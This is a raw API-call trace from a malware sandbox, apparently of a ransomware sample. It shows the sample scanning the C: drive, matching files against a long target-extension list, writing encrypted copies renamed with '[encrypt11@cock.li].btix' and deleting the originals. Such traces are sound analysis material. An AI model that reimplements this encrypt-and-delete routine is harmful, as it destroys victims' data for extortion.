(lpString=".xlsx") returned 5 [0145.855] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0145.855] lstrlenW (lpString=".ppt") returned 4 [0145.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.855] lstrlenW (lpString=".zip") returned 4 [0145.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.855] lstrlenW (lpString=".rar") returned 4 [0145.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.855] lstrlenW (lpString=".bz2") returned 4 [0145.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.855] lstrlenW (lpString=".7z") returned 3 [0145.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.855] lstrlenW (lpString=".dbf") returned 4 [0145.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.856] lstrlenW (lpString=".1cd") returned 4 [0145.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0145.856] lstrlenW (lpString=".jpg") returned 4 [0145.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0145.857] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5076) returned 1 [0145.857] CloseHandle (hObject=0x34c) returned 1 [0145.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0145.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0145.857] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.857] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0145.858] GetLastError () returned 0x0 [0145.858] ReadFile (in: hFile=0x34c, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0145.888] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0145.889] ReadFile (in: hFile=0x34c, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.889] WriteFile (in: hFile=0x4a8, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.889] SetEndOfFile (hFile=0x4a8) returned 1 [0145.890] CloseHandle (hObject=0x4a8) returned 1 [0145.890] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.890] SetEndOfFile (hFile=0x34c) returned 1 [0145.892] CloseHandle (hObject=0x34c) returned 1 [0145.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.893] lstrlenW (lpString=".doc") returned 4 [0145.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.893] lstrlenW (lpString=".docx") returned 5 [0145.893] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.894] lstrlenW (lpString=".pdf") returned 4 [0145.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString=".xls") returned 4 [0145.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.894] lstrlenW (lpString=".xlsx") returned 5 [0145.894] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.894] lstrlenW (lpString=".ppt") returned 4 [0145.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString=".zip") returned 4 [0145.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.894] lstrlenW (lpString=".rar") returned 4 [0145.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString=".bz2") returned 4 [0145.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString=".7z") returned 3 [0145.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString=".dbf") returned 4 [0145.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString=".1cd") returned 4 [0145.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString=".jpg") returned 4 [0145.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.894] lstrlenW (lpString=".doc") returned 4 [0145.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.894] lstrlenW (lpString=".docx") returned 5 [0145.895] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.895] lstrlenW (lpString=".pdf") returned 4 [0145.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.895] lstrlenW (lpString=".xls") returned 4 [0145.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.895] lstrlenW (lpString=".xlsx") returned 5 [0145.895] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.895] lstrlenW (lpString=".ppt") returned 4 [0145.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.895] lstrlenW (lpString=".zip") returned 4 [0145.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.895] lstrlenW (lpString=".rar") returned 4 [0145.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.895] lstrlenW (lpString=".bz2") returned 4 [0145.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.895] lstrlenW (lpString=".7z") returned 3 [0145.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.895] lstrlenW (lpString=".dbf") returned 4 [0145.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.895] lstrlenW (lpString=".1cd") returned 4 [0145.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0145.896] lstrlenW (lpString=".jpg") returned 4 [0145.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.896] lstrlenW (lpString=".id-") returned 4 [0145.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574cb0 | out: hHeap=0x510000) returned 1 [0145.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd7a0 | out: hHeap=0x510000) returned 1 [0145.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3d90728 | out: hHeap=0x510000) returned 1 [0145.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3da0730 | out: hHeap=0x510000) returned 1 [0145.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f8d020 | out: hHeap=0x510000) returned 1 [0145.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574e30 | out: hHeap=0x510000) returned 1 [0145.903] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b47d8 [0145.903] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b47d8, Size=0x20) returned 0x443dfe0 [0145.903] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b46b8 [0145.903] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b46b8, Size=0x20) returned 0x443de00 [0145.903] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.903] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.903] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff50 | out: OldValue=0x328ff50*=0x1) returned 1 [0145.903] lstrlenW (lpString="kernel32.dll") returned 12 [0145.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0145.903] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.903] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dfe0 | out: hHeap=0x510000) returned 1 Thread: id = 45 os_tid = 0xe28 [0126.350] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3db0738 [0126.350] lstrlenW (lpString="C:") returned 2 [0126.350] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 0x52a580 [0126.350] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0126.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0126.350] lstrlenW (lpString="$GetCurrent") returned 11 [0126.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0126.350] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0126.351] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0126.351] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0x52a780 [0126.352] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.352] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.352] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0126.352] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0126.352] lstrlenW (lpString="Logs") returned 4 [0126.352] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0126.352] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.353] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0126.353] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a380 [0126.368] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.368] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.369] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix") returned 74 [0126.369] lstrlenW (lpString=".1cd") returned 4 [0126.369] lstrcmpiW (lpString1=".1cd", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".3ds") returned 4 [0126.369] lstrcmpiW (lpString1=".3ds", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".3fr") returned 4 [0126.369] lstrcmpiW (lpString1=".3fr", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".3g2") returned 4 [0126.369] lstrcmpiW (lpString1=".3g2", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".3gp") returned 4 [0126.369] lstrcmpiW (lpString1=".3gp", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".7z") returned 3 [0126.369] lstrcmpiW (lpString1=".7z", lpString2="tix") returned -1 [0126.369] lstrlenW (lpString=".accda") returned 6 [0126.369] lstrcmpiW (lpString1=".accda", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".accdb") returned 6 [0126.369] lstrcmpiW (lpString1=".accdb", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".accdc") returned 6 [0126.369] lstrcmpiW (lpString1=".accdc", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".accde") returned 6 [0126.369] lstrcmpiW (lpString1=".accde", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".accdt") returned 6 [0126.369] lstrcmpiW (lpString1=".accdt", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".accdw") returned 6 [0126.369] lstrcmpiW (lpString1=".accdw", lpString2="].btix") returned -1 [0126.369] lstrlenW (lpString=".adb") returned 4 [0126.369] lstrcmpiW (lpString1=".adb", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".adp") returned 4 [0126.369] lstrcmpiW (lpString1=".adp", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".ai") returned 3 [0126.369] lstrcmpiW (lpString1=".ai", lpString2="tix") returned -1 [0126.369] lstrlenW (lpString=".ai3") returned 4 [0126.369] lstrcmpiW (lpString1=".ai3", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".ai4") returned 4 [0126.369] lstrcmpiW (lpString1=".ai4", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".ai5") returned 4 [0126.369] lstrcmpiW (lpString1=".ai5", lpString2="btix") returned -1 [0126.369] lstrlenW (lpString=".ai6") returned 4 [0126.370] lstrcmpiW (lpString1=".ai6", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".ai7") returned 4 [0126.370] lstrcmpiW (lpString1=".ai7", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".ai8") returned 4 [0126.370] lstrcmpiW (lpString1=".ai8", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".anim") returned 5 [0126.370] lstrcmpiW (lpString1=".anim", lpString2=".btix") returned -1 [0126.370] lstrlenW (lpString=".arw") returned 4 [0126.370] lstrcmpiW (lpString1=".arw", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".as") returned 3 [0126.370] lstrcmpiW (lpString1=".as", lpString2="tix") returned -1 [0126.370] lstrlenW (lpString=".asa") returned 4 [0126.370] lstrcmpiW (lpString1=".asa", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".asc") returned 4 [0126.370] lstrcmpiW (lpString1=".asc", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".ascx") returned 5 [0126.370] lstrcmpiW (lpString1=".ascx", lpString2=".btix") returned -1 [0126.370] lstrlenW (lpString=".asm") returned 4 [0126.370] lstrcmpiW (lpString1=".asm", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".asmx") returned 5 [0126.370] lstrcmpiW (lpString1=".asmx", lpString2=".btix") returned -1 [0126.370] lstrlenW (lpString=".asp") returned 4 [0126.370] lstrcmpiW (lpString1=".asp", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".aspx") returned 5 [0126.370] lstrcmpiW (lpString1=".aspx", lpString2=".btix") returned -1 [0126.370] lstrlenW (lpString=".asr") returned 4 [0126.370] lstrcmpiW (lpString1=".asr", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".asx") returned 4 [0126.370] lstrcmpiW (lpString1=".asx", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".avi") returned 4 [0126.370] lstrcmpiW (lpString1=".avi", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".avs") returned 4 [0126.370] lstrcmpiW (lpString1=".avs", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".backup") returned 7 [0126.370] lstrcmpiW (lpString1=".backup", lpString2="i].btix") returned -1 [0126.370] lstrlenW (lpString=".bak") returned 4 [0126.370] lstrcmpiW (lpString1=".bak", lpString2="btix") returned -1 [0126.370] lstrlenW (lpString=".bay") returned 4 [0126.371] lstrcmpiW (lpString1=".bay", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".bd") returned 3 [0126.371] lstrcmpiW (lpString1=".bd", lpString2="tix") returned -1 [0126.371] lstrlenW (lpString=".bin") returned 4 [0126.371] lstrcmpiW (lpString1=".bin", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".bmp") returned 4 [0126.371] lstrcmpiW (lpString1=".bmp", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".bz2") returned 4 [0126.371] lstrcmpiW (lpString1=".bz2", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".c") returned 2 [0126.371] lstrcmpiW (lpString1=".c", lpString2="ix") returned -1 [0126.371] lstrlenW (lpString=".cdr") returned 4 [0126.371] lstrcmpiW (lpString1=".cdr", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cer") returned 4 [0126.371] lstrcmpiW (lpString1=".cer", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cf") returned 3 [0126.371] lstrcmpiW (lpString1=".cf", lpString2="tix") returned -1 [0126.371] lstrlenW (lpString=".cfc") returned 4 [0126.371] lstrcmpiW (lpString1=".cfc", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cfm") returned 4 [0126.371] lstrcmpiW (lpString1=".cfm", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cfml") returned 5 [0126.371] lstrcmpiW (lpString1=".cfml", lpString2=".btix") returned 1 [0126.371] lstrlenW (lpString=".cfu") returned 4 [0126.371] lstrcmpiW (lpString1=".cfu", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".chm") returned 4 [0126.371] lstrcmpiW (lpString1=".chm", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cin") returned 4 [0126.371] lstrcmpiW (lpString1=".cin", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".class") returned 6 [0126.371] lstrcmpiW (lpString1=".class", lpString2="].btix") returned -1 [0126.371] lstrlenW (lpString=".clx") returned 4 [0126.371] lstrcmpiW (lpString1=".clx", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".config") returned 7 [0126.371] lstrcmpiW (lpString1=".config", lpString2="i].btix") returned -1 [0126.371] lstrlenW (lpString=".cpp") returned 4 [0126.371] lstrcmpiW (lpString1=".cpp", lpString2="btix") returned -1 [0126.371] lstrlenW (lpString=".cr2") returned 4 [0126.371] lstrcmpiW (lpString1=".cr2", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".crt") returned 4 [0126.372] lstrcmpiW (lpString1=".crt", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".crw") returned 4 [0126.372] lstrcmpiW (lpString1=".crw", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".cs") returned 3 [0126.372] lstrcmpiW (lpString1=".cs", lpString2="tix") returned -1 [0126.372] lstrlenW (lpString=".css") returned 4 [0126.372] lstrcmpiW (lpString1=".css", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".csv") returned 4 [0126.372] lstrcmpiW (lpString1=".csv", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".cub") returned 4 [0126.372] lstrcmpiW (lpString1=".cub", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dae") returned 4 [0126.372] lstrcmpiW (lpString1=".dae", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dat") returned 4 [0126.372] lstrcmpiW (lpString1=".dat", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".db") returned 3 [0126.372] lstrcmpiW (lpString1=".db", lpString2="tix") returned -1 [0126.372] lstrlenW (lpString=".dbf") returned 4 [0126.372] lstrcmpiW (lpString1=".dbf", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dbx") returned 4 [0126.372] lstrcmpiW (lpString1=".dbx", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dc3") returned 4 [0126.372] lstrcmpiW (lpString1=".dc3", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dcm") returned 4 [0126.372] lstrcmpiW (lpString1=".dcm", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dcr") returned 4 [0126.372] lstrcmpiW (lpString1=".dcr", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".der") returned 4 [0126.372] lstrcmpiW (lpString1=".der", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dib") returned 4 [0126.372] lstrcmpiW (lpString1=".dib", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dic") returned 4 [0126.372] lstrcmpiW (lpString1=".dic", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".dif") returned 4 [0126.372] lstrcmpiW (lpString1=".dif", lpString2="btix") returned -1 [0126.372] lstrlenW (lpString=".divx") returned 5 [0126.373] lstrcmpiW (lpString1=".divx", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".djvu") returned 5 [0126.373] lstrcmpiW (lpString1=".djvu", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".dng") returned 4 [0126.373] lstrcmpiW (lpString1=".dng", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".doc") returned 4 [0126.373] lstrcmpiW (lpString1=".doc", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".docm") returned 5 [0126.373] lstrcmpiW (lpString1=".docm", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".docx") returned 5 [0126.373] lstrcmpiW (lpString1=".docx", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".dot") returned 4 [0126.373] lstrcmpiW (lpString1=".dot", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dotm") returned 5 [0126.373] lstrcmpiW (lpString1=".dotm", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".dotx") returned 5 [0126.373] lstrcmpiW (lpString1=".dotx", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".dpx") returned 4 [0126.373] lstrcmpiW (lpString1=".dpx", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dqy") returned 4 [0126.373] lstrcmpiW (lpString1=".dqy", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dsn") returned 4 [0126.373] lstrcmpiW (lpString1=".dsn", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dt") returned 3 [0126.373] lstrcmpiW (lpString1=".dt", lpString2="tix") returned -1 [0126.373] lstrlenW (lpString=".dtd") returned 4 [0126.373] lstrcmpiW (lpString1=".dtd", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dwg") returned 4 [0126.373] lstrcmpiW (lpString1=".dwg", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dwt") returned 4 [0126.373] lstrcmpiW (lpString1=".dwt", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".dx") returned 3 [0126.373] lstrcmpiW (lpString1=".dx", lpString2="tix") returned -1 [0126.373] lstrlenW (lpString=".dxf") returned 4 [0126.373] lstrcmpiW (lpString1=".dxf", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".edml") returned 5 [0126.373] lstrcmpiW (lpString1=".edml", lpString2=".btix") returned 1 [0126.373] lstrlenW (lpString=".efd") returned 4 [0126.373] lstrcmpiW (lpString1=".efd", lpString2="btix") returned -1 [0126.373] lstrlenW (lpString=".elf") returned 4 [0126.374] lstrcmpiW (lpString1=".elf", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".emf") returned 4 [0126.374] lstrcmpiW (lpString1=".emf", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".emz") returned 4 [0126.374] lstrcmpiW (lpString1=".emz", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".epf") returned 4 [0126.374] lstrcmpiW (lpString1=".epf", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".eps") returned 4 [0126.374] lstrcmpiW (lpString1=".eps", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".epsf") returned 5 [0126.374] lstrcmpiW (lpString1=".epsf", lpString2=".btix") returned 1 [0126.374] lstrlenW (lpString=".epsp") returned 5 [0126.374] lstrcmpiW (lpString1=".epsp", lpString2=".btix") returned 1 [0126.374] lstrlenW (lpString=".erf") returned 4 [0126.374] lstrcmpiW (lpString1=".erf", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".exr") returned 4 [0126.374] lstrcmpiW (lpString1=".exr", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".f4v") returned 4 [0126.374] lstrcmpiW (lpString1=".f4v", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".fido") returned 5 [0126.374] lstrcmpiW (lpString1=".fido", lpString2=".btix") returned 1 [0126.374] lstrlenW (lpString=".flm") returned 4 [0126.374] lstrcmpiW (lpString1=".flm", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".flv") returned 4 [0126.374] lstrcmpiW (lpString1=".flv", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".frm") returned 4 [0126.374] lstrcmpiW (lpString1=".frm", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".fxg") returned 4 [0126.374] lstrcmpiW (lpString1=".fxg", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".geo") returned 4 [0126.374] lstrcmpiW (lpString1=".geo", lpString2="btix") returned -1 [0126.374] 